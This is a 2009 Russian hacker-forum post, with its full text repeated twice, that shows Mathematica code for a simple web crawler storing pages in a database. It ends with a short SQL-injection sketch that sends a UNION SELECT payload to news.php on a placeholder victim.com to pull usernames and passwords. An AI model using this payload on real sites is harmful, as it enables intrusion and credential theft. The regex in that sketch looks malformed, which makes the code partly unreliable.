Root-access
14.10.2009, 22:28
Здравствуйте!
В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.
Справка из Википедии:
Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.
Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.
Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.
Заодно расскажу об основных функциях, нужных для этого.
Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.
Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.
Для работы с DatabaseLink в программе надо добавить строчку Needs["DatabaseLink`"].
Напишите в Notebook следующий код:
Needs["DatabaseLink`"]
OpenSQLConnection[]
Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.
Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.
Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.
Needs["DatabaseLink`"]
urli = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[urli, "Title"] (* Импортируем <title>*)
links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn,
SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"],
SQLColumn["text", "DataTypeName" -> "STRING"],
SQLColumn["title", "DataTypeName" -> "STRING"],
SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"}, {urli,
text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)
Как видите, код очень короткий и интуитивно понятный.
Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока:)) их не писал.
Но суть такова:
urli = "http://victim.com"
StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'), 2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].
Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!
(c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html
В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.
Справка из Википедии:
Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.
Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.
Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.
Заодно расскажу об основных функциях, нужных для этого.
Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.
Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.
Для работы с DatabaseLink в программе надо добавить строчку Needs["DatabaseLink`"].
Напишите в Notebook следующий код:
Needs["DatabaseLink`"]
OpenSQLConnection[]
Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.
Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.
Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.
Needs["DatabaseLink`"]
urli = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[urli, "Title"] (* Импортируем <title>*)
links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn,
SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"],
SQLColumn["text", "DataTypeName" -> "STRING"],
SQLColumn["title", "DataTypeName" -> "STRING"],
SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"}, {urli,
text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)
Как видите, код очень короткий и интуитивно понятный.
Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока:)) их не писал.
Но суть такова:
urli = "http://victim.com"
StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'), 2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].
Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!
(c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html